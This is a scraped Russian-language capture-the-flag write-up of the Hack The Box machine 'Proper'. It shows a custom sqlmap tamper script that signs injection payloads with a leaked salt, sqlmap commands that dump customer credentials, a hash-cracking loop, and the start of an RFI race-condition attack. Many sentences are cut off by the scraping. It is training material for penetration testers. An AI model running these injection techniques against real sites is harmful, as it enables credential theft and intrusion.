Категория > Новости > HTB Proper. Пишем tamper для sqlmap и эксплуатируем race condition через RFI - «Новости»
HTB Proper. Пишем tamper для sqlmap и эксплуатируем race condition через RFI - «Новости»26-08-2021, 00:02. Автор: Brooks |
Hack The Box. В процессе я покажу, как получить учетные данные к сайту через SQL-инъекцию, написав свой tamper к sqlmap. Далее эксплуатируем race condition через RFI, чтобы получить первоначальный доступ к хосту. Завершим прохождение повышением привилегий через использование именованных каналов скомпрометированной службы.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовIP машины — 10.10.10.231, заносим его в
10.10.10.231 proper.htb
И сканируем порты. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция ![]() По результатам сканирования имеем всего один открытый порт — 80, там откликается веб‑сервер Microsoft IIS httpd 10.0. Приступаем к осмотру сайта. Главная страница сайта Сканирование веб-контентаНа самом сайте зацепиться не за что, поэтому врубаем перебор каталогов. Справка: сканирование веб-сайтаСканирование сайта методом перебора каталогов и файлов по словарю — это одно из первых действий при пентесте веб‑приложения. Для этого обычно применяют dirsearch, DIRB или более быстрый gobuster. Мы же в этой статье будем использовать встроенные средства Burp Suite. Перехватываем запрос в Burp Proxy и в контекстном меню выбираем Engagement tools → Discover content. Указываем глубину сканирования, интересующие нас расширения файлов и бэкапов. Настройки Burp Discover content Спустя несколько минут (если ты, как и я, выбрал 200 потоков для сканирования) получим карту сайта, отталкиваясь от которой будем определять следующий вектор атаки. ![]() Я посмотрел все комментарии на всех страницах (в контекстном меню Engagement tools → Find comments), но снова ничего важного. А вот файл Запрос без одного параметра ![]() Так как используется соль, параметр
john --list=subformats | grep md5
![]() Для определения алгоритма нам нужно создать словарь ( Сначала установим перенос строки в качестве разделителя (
Затем выполняем перебор по полученному алгоритму ( IFS=$''for entry in $(john --list=subformats | grep md5)doformat="$(echo $entry | tr -d ' ' | cut -d '=' -f 3 | cut -d ':' -f 1)" echo -e "nFormat:$format---------------------------------n"john --format=$format --wordlist=word hashdone ![]() Для формата ![]() Точка входаТеперь мы можем манипулировать значением параметров так, чтобы они обрабатывались приложением. Текст ошибки натолкнул меня на мысль, что можно было бы написать tamper для sqlmap, хотя мы пока так и не установили достоверно, есть ли здесь возможность SQL-инъекции. infoТемперы — это скрипты для sqlmap, которые преобразуют его запросы.
#!/usr/bin/env python
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
'''
'''
h = md5(b"hie0shah6ooNoim" + payload.encode()).hexdigest()
return quote_plus(payload) + "&h=" + h
Этот файл (я назвал его
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --batch --skip-urlencode --tamper=sqlmap_tamper
Результат выполнения sqlmapИ мы попали в точку: приложение уязвимо к time-based SQL-инъекции, о чем нам и сообщил sqlmap. Эта чудо‑программа сохранила у себя шаблон нагрузки для заданного URL, поэтому мы можем спокойно продолжать работу и доставать необходимые данные — к примеру, названия баз данных (опция
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --skip-urlencode --tamper=sqlmap_tamper --dbs
![]() Так мы получаем три базы данных: служебная
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --skip-urlencode --tamper=sqlmap_tamper -Dcleaner --tables
![]() В базе есть три таблицы, и в одной из них должны быть учетные данные. Скорее всего, нам подойдет таблица
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --skip-urlencode --tamper=sqlmap_tamper -Dcleaner -Tcustomers --columns
![]() Действительно, нашлись учетные данные! Давай получим значения (опция
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" -porder --skip-urlencode --tamper=sqlmap_tamper -Dcleaner -Tcustomers -Clogin,password --dump
![]() Извлечение данных происходит очень долго, поэтому попробуем взломать уже полученные хеши. Перебор с солью ни к чему не привел, поэтому я попробовал взломать хеш без соли при помощи md5decrypt.net. Это дало результат! ![]() Точка опорыАвторизуемся с полученными учетными данными на сайте. Нам теперь открываются дополнительные возможности, одна из них — смена цветовой темы. Причем интересен сам способ ее смены: тема устанавливается через передачу GET-параметра Страница сайта для авторизованных пользователей Стоит протестировать GET-параметры так же, как и в прошлый раз. Если мы изменим или удалим один из них, то нам сообщат об обнаружении атаки. Но раз мы знаем, как осуществляется подпись, давай укажем значение, которое будет обработано сервером, к примеру ![]() Уязвимость RFIКак мы видим из текста ошибки, из указанной нами директории подключается файл Таким образом, обращение к файлу происходит дважды, а это означает уязвимость к атаке типа race condition: перед проверкой и включением файла его содержимое возможно изменить. Перейти обратно к новости |